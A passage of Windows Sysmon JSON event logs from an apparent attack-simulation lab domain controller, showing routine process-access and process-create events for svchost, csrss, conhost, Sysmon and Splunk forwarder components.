+{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-402B-5F2D-0000-0010988B0400}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-402B-5F2D-0000-0010988B0400}","TargetProcessId":"4416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.990\r\nSourceProcessGUID: {90617006-402B-5F2D-0000-0010988B0400}\r\nSourceProcessId: 4416\r\nSourceThreadId: 4420\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.990","SourceProcessGUID":"{90617006-402B-5F2D-0000-0010988B0400}","SourceProcessId":"4416","SourceThreadId":"4420","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.523\r\nProcessGuid: {90617006-402C-5F2D-0000-0010668D0400}\r\nProcessId: 4488\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.523","ProcessGuid":"{90617006-402C-5F2D-0000-0010668D0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-402C-5F2D-0000-0010668D0400}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-402C-5F2D-0000-0010668D0400}","TargetProcessId":"4488","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-402C-5F2D-0000-0010668D0400}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-402C-5F2D-0000-0010668D0400}","TargetProcessId":"4488","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 